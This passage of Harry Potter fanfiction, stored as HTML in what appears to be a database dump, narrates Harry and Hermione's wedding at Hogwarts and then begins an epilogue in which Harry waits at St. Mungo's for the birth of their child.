&#8220;So,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So,&#8221; Ron repeated. &#8220;I don&#8217;t really know why I&#8217;m here. I&#8217;ve been debating and debating this all in my head the past few days. I think I need this for closure, you know? It&#8217;s not easy, but I think it&#8217;ll be okay. Besides, it&#8217;s not everyday your best friends marry each other, right?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said. &#8220;Ron, I-&#8220;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You don&#8217;t have to say anything, Harry. It&#8217;s all been said before, just know that you guys have my blessing and my best wishes. And if you do anything to hurt her, I&#8217;ll hex you into the next century. Deal?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Deal,&#8221; Harry said, offering Ron his hand. &#8220;Thanks, Ron. You don&#8217;t know what this means to Hermione and me.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I better get back to my date,&#8221; Ron said. &#8220;Good luck, Harry.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wait, wait. Your date?&#8221; Harry asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, and you won&#8217;t believe with who,&#8221; Ron said. &#8220;Do you remember Loony, I mean Luna Lovegood? She&#8217;s actually grown up quite nicely. We&#8217;ve been out every night the past two weeks. She&#8217;s something else, I&#8217;ll tell you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s brilliant, Ron,&#8221; Harry said. &#8220;Who would have thought? Luna Lovegood and Ron Weasley. You do know she had a raving crush on you when we were in school here? Ginny told me so.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron smiled. &#8220;I didn&#8217;t know that then, but I sure know it now. I guess when you&#8217;re younger you should pay more attention to the people around you or you might miss out on something wonderful. Like you and Hermione and me and old Loony Lovegood.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry laughed. &#8220;Yeah, who would have thunk it?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Treat her good,&#8221; Ron said, heading toward the door. &#8220;She deserves it.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ten minutes later, Harry took the walk down the Great Hall to the altar that had been set up. Dumbledore smiled brightly at Harry and his eyes seemed to sparkle over his half moon glasses. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ready, then, Harry?&#8221; Dumbledore asked him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;More than ready, sir,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good to hear,&#8221; Dumbledore said. Professor Flitwick began to play a nice orchestral number as the bridesmaids walked down the aisle and took their places opposite the groomsmen. Then, Flitwick began the wedding march as the entire congregation turned to look at the bride. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Her father accompanied her down the aisle, but Harry didn&#8217;t see him at all. His eyes were on the vision in white coming toward him. Even through her veil, he could see her eyes shining and a smile on her face as bright and as wide as possible. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Told you she looked amazing, didn&#8217;t I?&#8221; Sirius whispered in his ear. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded, he didn&#8217;t think he could speak. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore winked at Hermione as she and her dad stopped in front of them. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Who gives this young woman in marriage?&#8221; Dumbledore asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s dad stepped forward and offered Hermione&#8217;s hand to Harry. &#8220;Her mother and I do, Dumbledore.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He kissed his daughter&#8217;s cheek before taking his seat beside her mother. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi,&#8221; Hermione whispered. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hi,&#8221; Harry said, smiling at her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, then. We are gathered here together on this most momentous of occasions to join these two people, Hermione Elizabeth Granger and Harry James Potter in matrimony. If there is anymore here who knows just cause why they should not be married, may they speak now or forever hold their peace. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Before we begin the ceremony, the couple has asked that a special song be sung signifying their relationship. Mr. Dean Thomas will sing the song that holds special meaning to the couple, I believe it&#8217;s called &#8220;All Along&#8221;. Dean.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dumbledore motioned for Dean to begin and Dean walked over to the piano as Flitwick began to play the opening notes to the song. </p>\n\n<p><i></i></p>\n\n<p><i>Seems like yesterday but years have passed us by<br>\n Precious memories are clear before my eyes<br>\n I can hear your voice calling out my name<br>\n But I don\'t know you now, nothing stays the same<br>\n\n\n<br>\n All along I have wanted you<br>\n I pray tonight that you want me, too<br>\n All along there was no one else<br>\n I\'ve been waiting here all by myself<br>\n\n\n</i><i><br>\n If you were here with me we\'d ride the ocean tide<br>\n To that special place I held for you deep inside<br>\n I\'ve kept good company since you\'ve been away<br>\n Lonely stayed with me when pride began to fade<br>\n\n\n<br>\n All along I have wanted you (I wanted you)<br>\n I pray tonight that you want me, too<br>\n All along there was no one else<br>\n Oh, I\'ve been waiting here all by myself (all by myself)<br>\n\n\n<br>\n And I will follow you &#8216;til the end of time<br>\n Till our love is at the end of the line<br>\n You rolled out of my life just like the wind<br>\n And left behind a broken heart<br>\n\n\n<br>\n Yeah, all along I have wanted you (I wanted you)<br>\n I pray tonight that you want me, too<br>\n All along there was no one else<br>\n I\'ve been waiting here all by myself</i></p>\n\n<p><i></i></p>\n\n<p>The assembled crowd applauded as Dean finished the song and took his place at the altar with the other groomsmen. Harry could hear Hermione&#8217;s intermittent sobs and he clasped her hand tighter as they both turned their attention back to Dumbledore. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;Excellent, Mr. Thomas,&#8221; Dumbledore said. &#8220;Now, we will begin the ceremony. I have been around for a long time, and of all the things that I have seen and that I have witnessed, there is nothing more exciting than watching two people fall in love. I had the pleasure of seeing these two students dance around their feelings knowing that one day they would admit what was in their hearts and in their souls. Today, they will pledge their love, their honor and their commitment to each other. &nbsp;Harry and Hermione, nothing is easier than saying words and nothing is harder than living them day after day after day. What you promise today, must be renewed and decided again tomorrow, and tomorrow after that and the tomorrow after that.&#8221;</p>\n\n<p>&#8220;They have decided to recite both their own vows and the traditional Muggle wedding vows.&#8221; <br>\n\n<br>\n\n</p>\n\n<p>&#8220;Hermione,&#8221; Dumbledore said, looking at her. </p>\n\n<p>She took a deep breath.</p>\n\n<p>&#8220;Harry, as I was thinking of what I would say to you today in front of our family and our friends, I was actually at a loss for words. I know that&#8217;s hard to believe, but it&#8217;s the truth. How can you sum up how much someone means to you in a few words? I don&#8217;t know why we found each other, but we did, and I think both of our lives our richer for the experience of it all. We&#8217;ve been through so much together, both good and bad, but instead of tearing us apart, it&#8217;s made us stronger. I never imagined in my life that I would know a love like this, a love that has saved me, time and time again. &#8220; </p>\n\n<p>She took another deep breath and looked into his brilliant green eyes before continuing. </p>\n\n<p><br>\n &#8221;As I was thinking of what I&#8217;d say today, I found a poem that spoke so much to me. It&#8217;s called &#8216;The Journey&#8217;,&#8221; she paused, and recited the poem from memory, holding tightly to Harry&#8217;s hand and looking intently into his warm eyes. </p>\n\n<p><i></i></p>\n\n<p><i>Now we will feel no rain<br>\n For each of us will be shelter to each other.<br>\n And now we will feel no cold<br>\n For each of us will be warmth to each other.<br>\n Now there is no loneliness<br>\n We are two bodies, but there is one life before us and one home.<br>\n When evening falls, I\'ll look to you and there you\'ll be.<br>\n And I\'ll take your hand and you\'ll take mine<br>\n And we\'ll turn together and we\'ll look to the road we travelled to reach<br>\n this--The hour of our happiness.<br>\n It stretched far behind us, and our future lies ahead--<br>\n A long and winding road where every turning means discovery<br>\n All the hopes, new laughter, shared tears,<br>\n The adventure has just begun.</i></p>\n\n<p><i></i></p>\n\n<p>Dumbledore smiled at Hermione. &#8220;Excellent, Hermione. Now, the groom&#8217;s turn. Harry.&#8221; </p>\n\n<p>Harry suppressed the urge to kiss Hermione. It wasn&#8217;t time for that now, but her words had moved him so much.&nbsp; He beamed at her before he, too, began to recite his vows. </p>\n\n<p>&#8220;How do you follow up, that?&#8221; he asked. The assembled guests laughed. </p>\n\n<p>&#8220;I, um, remember when I was 11 years old and I was traveling on the Hogwarts Express for the first time on my way to Hogwarts. I was sitting there in the compartment when this bushy-haired, know-it-all came barreling into the room all confident and self-assured. I had no idea at the time that this person would become the most important person in my life. I had no idea that she would lead me on such an adventure. She has been the one person in my life who has always been there for me, even when times were bad. She stood by me when I was at my lowest point and she showed me the way back to life.&#8221; </p>\n\n<p>&#8220;I made the mistake of letting you go once in my life, but I promise you I will never let you down like that again. You are my life. You are my home. You are my family.&#8221;</p>\n\n<p>Dumbledore nodded as Harry finished. &#8220;Now, we will have the traditional vows. Hermione, you go first.&#8221; </p>\n\n<p><i>&#8220;I, Hermione Elizabeth Granger, take you Harry James Potter, to be my husband, my partner in life and my one true love.<br>\n I will cherish our friendship and love you today, tomorrow, and forever.<br>\n I will trust you and honor you<br>\n I will laugh with you and cry with you.<br>\n I will love you faithfully<br>\n Through the best and the worst,<br>\n Through the difficult and the easy.<br>\n What may come I will always be there.<br>\n As I have given you my hand to hold<br>\n So I give you my life to keep&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Dumbledore motioned for Harry to begin his vows. </i></p>\n\n<p><i>&#8220;I, Harry James Potter, take you Hermione Elizabeth Granger, to be my wife, my partner in life and my one true love.<br>\n I will cherish our friendship and love you today, tomorrow, and forever.<br>\n I will trust you and honor you<br>\n I will laugh with you and cry with you.<br>\n I will love you faithfully<br>\n Through the best and the worst,<br>\n Through the difficult and the easy.<br>\n What may come I will always be there.<br>\n As I have given you my hand to hold<br>\n So I give you my life to keep&#8221;</i></p>\n\n<p><i>Through the best and the worst,<br>\n Through the difficult and the easy.<br>\n What may come I will always be there.<br>\n As I have given you my hand to hold<br>\n So I give you my life to keep&#8221;</i></p>\n\n<p>&#8220;Sirius, I believe you have the rings?&#8221; Dumbledore asked. </p>\n\n<p>Sirius nodded and took the rings from his pocket. He handed them to Dumbledore, who held the two rings in the palm of his hand. </p>\n\n<p>&#8220;These rings signify a bond between the two of you. They symbolize the joining of your hearts and the coming together of your souls,&#8221; Dumbledore said. He took one of the golden bands and handed it to Harry. </p>\n\n<p>&#8220;With this ring, I thee wed,&#8221; Harry said, as he placed the wedding band on Hermione&#8217;s trembling fingers. </p>\n\n<p>Dumbledore handed the other golden band to Hermione and as she placed the ring on Harry&#8217;s finger, she recited the same vow, &#8220;With this ring, I thee wed.&#8221; </p>\n\n<p>&#8220;Brilliant,&#8221; Dumbledore said, gleaming. <br>\n\n\n<br>\n &#8221;Ladies, gentlemen, house elves, ghosts, and goblins, I now pronounce that they are husband and wife. Harry, you may kiss your bride.&#8221; </p>\n\n<p>Harry looked at Dumbledore and then looked at Hermione. He let go of her hand and raised the veil away from her face. Her cheeks were tear-stained, but she wore a bright smile. Harry leaned in and softly kissed her. The Great Hall erupted in great applause. </p>\n\n<p>Dumbledore shouted over the noise, &#8220;I present to you, Harry and Hermione Potter.&#8221; </p>\n\n<p>The receiving line went on for what seemed like miles. Harry and Hermione stood side by side, as well-wishers came by, some they knew, some they didn&#8217;t. </p>\n\n<p>&#8220;So where are you going on the honeymoon?&#8221; Parvati Patil asked as she passed them in the receiving line. </p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Hermione said, nudging Harry. &#8220;He&#8217;s keeping it a secret.&#8221; </p>\n\n<p>&#8220;I think you could give me a hint,&#8221; Hermione said. &#8220;Just a tiny one.&#8221;</p>\n\n<p>&#8220;No, that would spoil the surprise,&#8221; Harry said. He leaned in to whisper so only she would hear, &#8220;It really doesn&#8217;t matter, we probably won&#8217;t leave the room, anyway.&#8221; </p>\n\n<p>Hermione giggled and playfully hit him on the shoulder. </p>\n\n<p>&#8220;Ah, the abuse starts already and they haven&#8217;t even been married for an hour yet,&#8221; Fred said. &#8220;Once a prefect, always a prefect, right Hermione?&#8221; </p>\n\n<p>&#8220;And don&#8217;t you forget it, Fred,&#8221; Hermione said, as he gave her a peck on the cheek. &#8220;Thanks for coming today. It really meant a lot to the both of us to have all the Weasleys here. You&#8217;ve always been like a second family to us.&#8221; </p>\n\n<p><br>\n &#8221;We wouldn&#8217;t have missed it,&#8221; Fred said. &#8220;Free food, dancing. That&#8217;s my kind of party.&#8221; </p>\n\n<p>After the last guest had passed through the receiving line, Harry and Hermione made it over to the wedding cake and playfully cut the cake as photographers snapped pictures. </p>\n\n<p>The bandleader suddenly began playing music and announced that it was time for the happy couple to dance the first dance. Harry smiled as he walked toward his wife. He took her hand and led her to the dance floor. </p>\n\n<p>The singer began to sing &#8220;When You Say Nothing At All&#8221;. Hermione wrapped her arms around her husband&#8217;s neck as they began to dance slow. They could feel all the eyes on the room on them, but they only saw each other. </p>\n\n<p>&#8220;Can you believe it?&#8221; Hermione whispered in his ear. &#8220;We&#8217;re married!&#8221; </p>\n\n<p>&#8220;My wife,&#8221; Harry whispered back. &#8220;My wife. As in, this is my wife, Hermione.&#8221; </p>\n\n<p>&#8220;I kind of like the sound of that,&#8221; she whispered. &#8220;Just don&#8217;t ever call me the old ball and chain, okay?&#8221; </p>\n\n<p>&#8220;Deal,&#8221; Harry said. &#8220;I love you, you know?&#8221; </p>\n\n<p>&#8220;I sure hope so,&#8221; Hermione said, cheekily. &#8220;I&#8217;m kind of crazy about you, too, you know.&#8221; </p>\n\n<p>They kissed softly and the crowd around them clapped enthusiastically. They laughed and motioned for the other guests to dance, too. Harry watched as Hermione&#8217;s dad took his daughter out on the dance floor. He looked at the two of them dancing and wondered how he&#8217;d ever gotten so lucky. She was one in a million and she&#8217;d picked him. He didn&#8217;t know what he&#8217;d done to deserve it, but he was happy that she was with him and he was happy that they were going to start their own family. </p>\n\n<p>As he thought back on everything they&#8217;d been through, he realized he&#8217;d always known deep down that this was where they would end up, together. This wasn&#8217;t an ending, though, this was just the beginning. </p>\n\n<p>(THE END---OF MY FANFICTION ANYWAY!!!!) </p>\n\n<p>THANK YOU TO ALL THAT TOOK THE TIME TO LEAVE ME REVIEWS. YOU GUYS HAVE BEEN EXCELLENT. I CAN&#8217;T TELL YOU WHAT A GREAT EXPERIENCE THIS HAS BEEN FOR ME. I HOPE YOU ALL ENJOYED READING IT AS MUCH AS I ENJOYED WRITING IT. </p> '),
	(255, 27, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="Epilogue_files/filelist.xml">\n\n<title>Epilogue </title>\n\n<xml> Normal 2 126 2003-07-16T02:08:00Z 2003-07-16T02:08:00Z 1 2618 14923 124 35 17506 10.2625 </xml><xml> Clean Clean MicrosoftInternetExplorer4 </xml><object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"></object>\n\n<style> st1\\:*{behavior:url(#ieooui) } </style>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n<xml>\n\n</xml><xml>\n\n</xml>\n\n\n\n<p>Authors Note: <br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I couldn&#8217;t leave you guys hanging! I knew I couldn&#8217;t end it without doing something with the birth of the baby. I hope you guys like this! This is truly the end of this particular story. I have been so touched by the nice reviews you guys have left! You guys totally rock! I never imagined when I began writing this what an experience it would be for me. Thanks to everyone! Enjoy&#8230;. </p>\n\n<p>Epilogue</p>\n\n<p>What a difference a year makes, Harry couldn&#8217;t help thinking as he paced back and forth between the couches in the waiting room at St. Mungo&#8217;s in the labor and delivery ward. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A year ago, he wouldn&#8217;t have been here. A year ago, he was in <st1:country-region><st1:place>Australia</st1:place></st1:country-region> making a huge bust on a major case. He was out traveling doing what he&#8217;d felt he&#8217;d been born to do, what he felt he was obligated to do. He&#8217;d been living up to that name that had given him unwanted fame, The Boy Who Lived. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He didn&#8217;t need to be that anymore. It would always be a part of him, yes, but it wasn&#8217;t something that he felt that he had to live up to anymore. There were more important things. His life had new meaning now. He had a beautiful wife whom he loved and who loved him back. He had a life. He had a home. Within a few hours, he would have a child. In just a few months, he would begin his job as the new Defense Against the Dark Arts teacher at Hogwarts.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Even his and Hermione&#8217;s relationship with Ron was improving. While it was nowhere near the way it had used to be, it was much better than it had been. No doubt this was helping along by Ron falling head over heels for Luna Lovegood. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Things were definitely looking up all around. Now, if only he knew what was going on behind those double doors, he&#8217;d be ecstatic. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He&#8217;d spent the past two hours, pacing back and forth between the couches, waiting and watching the clock. It seemed like they&#8217;d been there for days and not a few short hours.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The waiting room was empty, save for Harry, Sirius and Hermione&#8217;s dad, Robert. Sirius and Robert were the picture of calm, cool, and collected. Sirius was thumbing through a magazine and Robert was reading a book. Looking at them, Harry wondered how they could be so calm at a time like this. Harry was a different story all together. You name the emotion---he&#8217;d experienced all in the past three hours. He&#8217;d tried sitting, but he was so jumpy that didn&#8217;t last too long. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Stealing a glance at the clock on the wall, Harry noticed that it was just past two in the morning. He and Hermione had been fast asleep when Hermione had awoken suddenly in the sometime before <st1:time hour="0" minute="0">midnight</st1:time> and gone into the bathroom, where her water promptly broke. She awoke a startled Harry, who promptly jumped out of bed and stubbed his toe on the bedside table. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After cursing loudly, he threw on a jumper and a pair of trainers and then helped Hermione slip into her robe and slippers. He grabbed the pre-packed suitcase that they&#8217;d packed for this occasion and took off for the living room. He was just getting ready to apparate to St. Mungo&#8217;s when it dawned on him that he was missing something. He was fixing to take his pregnant wife to the hospital and he was missing the most important thing---his pregnant wife. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Bollocks,&#8221; he said, rushing back into the bedroom to fetch Hermione. Although she was in some discomfort, she couldn&#8217;t help laughing at her husband and the nervous wreck he&#8217;d become in the past 10 minutes. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Take a deep breath, Harry,&#8221; she said, between giggles. &#8220;Relax.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, okay,&#8221; Harry said, exhaling. &#8220;I should be the one telling you that, not the other way around.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, at least we&#8217;ll have a funny story to tell our child when he or she asks about the night they were born,&#8221; Hermione said. &#8220;Now, let&#8217;s get going. I&#8217;m ready for this baby to come out.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry made a quick phone call to Hermione&#8217;s parents and sent emergency owl post to the Weasleys and to Sirius.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They arrived at the hospital via apparition shortly after <st1:time hour="12" minute="30">12:30</st1:time> and Hermione was promptly checked in and led back to the delivery ward on a wheelchair. The attendant said that Harry should take a seat and when he was needed, they would come and get him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s parents arrived first and her mum went back to sit with her daughter. Sirius arrived soon after. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; So, now here they were, three men awaiting any news. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, for the love of Merlin,&#8221; Sirius said, exasperated. &#8220;Sit down or at least stop pacing. You&#8217;re making me nervous.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<i>I&#8217;m </i>making you nervous,&#8221; Harry said sarcastically. &#8220;Don&#8217;t mind me, Sirius. My wife is back there having a baby and I&#8217;m out here, waiting, twiddling my thumbs. I can&#8217;t do anything for her and it&#8217;s killing me, not knowing what&#8217;s going on. So, pardon me, Sirius, if <i>I&#8217;m</i> making you nervous.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius smiled at him. &#8220;No problem, mate.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry glared back at him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Robert laughed at his son-in-law. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This isn&#8217;t funny,&#8221; Harry said glowering at Robert. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Trust me, Harry,&#8221; Robert began, &#8220;you don&#8217;t want to go back there any sooner than you have to. I remember when Karen was in labor with Hermione. She called me every name in the book. She threatened to kill me if I ever came near her again. Said that it was all my fault that she was in all that pain. So, unless you enjoy that type of abuse, trust me when I say, you don&#8217;t want to be back there right now.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Surely it can&#8217;t be that bad. Can it?&#8221; Harry asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Robert shook his head. &#8220;No, you&#8217;re right. It&#8217;s not that bad.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry exhaled. &#8220;Good.&#8221; <br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s much worse,&#8221; Robert said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius stifled his own laughter at the last comment. He knew that laughter might set his godson off again. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; At that moment, a loud pop filled the room as Arthur and Molly Weasley appared. Mr. Weasley was still in his pajamas and an overcoat. Molly was in her nightgown and robe and coat and had pink curlers in her hair. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We didn&#8217;t miss anything, did we?&#8221; Molly asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, at least I don&#8217;t think so,&#8221; Harry said, giving her a hug and then shaking Arthur&#8217;s hand. &#8220;We haven&#8217;t heard anything yet.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good,&#8221; Molly said. &#8220;This is so exciting, Harry. You&#8217;re going to be a dad!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said, and for the first time in the past two hours, he allowed himself to smile. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thirty minutes later, a nurse came through the double doors of the maternity ward. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mr. Potter?&#8221; she asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes? My wife, how is she?&#8221; Harry asked, standing up from his chair. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She&#8217;s okay,&#8221; the nurse said. 